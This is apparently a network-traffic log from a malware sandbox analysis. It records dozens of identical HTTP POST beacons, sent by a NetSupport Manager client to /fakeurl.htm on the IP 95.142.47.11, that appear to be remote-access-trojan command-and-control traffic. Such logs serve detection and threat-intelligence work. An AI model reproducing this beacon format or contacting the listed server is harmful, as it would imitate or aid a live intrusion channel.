Dec 6, 2023 14:36:50.164800882 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:50.265599012 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:50.365945101 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:50.466605902 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:50.566598892 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:50.666605949 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:50.766774893 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:50.866631985 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:50.967573881 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:51.067996979 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:51.167889118 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:51.268573046 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:51.369724989 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:51.469863892 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:51.570694923 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:51.670658112 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:51.771573067 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:51.871618032 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:51.971623898 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:52.072854042 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:52.172660112 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:52.272671938 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:52.373604059 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:52.474643946 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:52.574811935 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:52.675842047 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:52.776575089 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:52.876816988 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:52.977576971 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:53.077862024 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:53.178627014 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:53.279683113 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:53.379637957 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:53.480643988 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:53.580646038 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:53.681648970 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:53.781610966 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:53.882721901 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:53.983722925 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:54.085897923 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:54.185713053 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:54.286675930 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:54.386681080 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:54.487632036 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:54.587599039 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:54.687813044 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:54.788606882 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:54.889780045 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:54.989667892 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:55.090698957 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:55.190906048 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:55.290976048 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:55.391724110 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:55.492711067 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:55.593615055 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:55.694638968 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:55.795609951 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:55.895678997 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:55.996637106 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:56.096662998 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:56.197681904 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:56.297729015 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:56.398612976 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:56.499178886 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:56.598592043 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:56.698617935 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:56.801919937 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:56.901668072 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:57.001915932 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:57.102864027 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:57.203628063 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:57.303930998 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:57.404623985 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:57.504605055 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:57.604671955 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:57.705634117 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:57.913791895 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:58.013880968 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:58.114592075 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:58.215606928 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:58.315859079 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:58.416768074 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:58.517640114 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:58.617610931 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:58.718645096 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:58.819659948 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:58.919620037 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:59.019680977 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:59.134553909 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:59.235687017 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:59.335609913 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:59.436634064 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:36:59.536583900 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
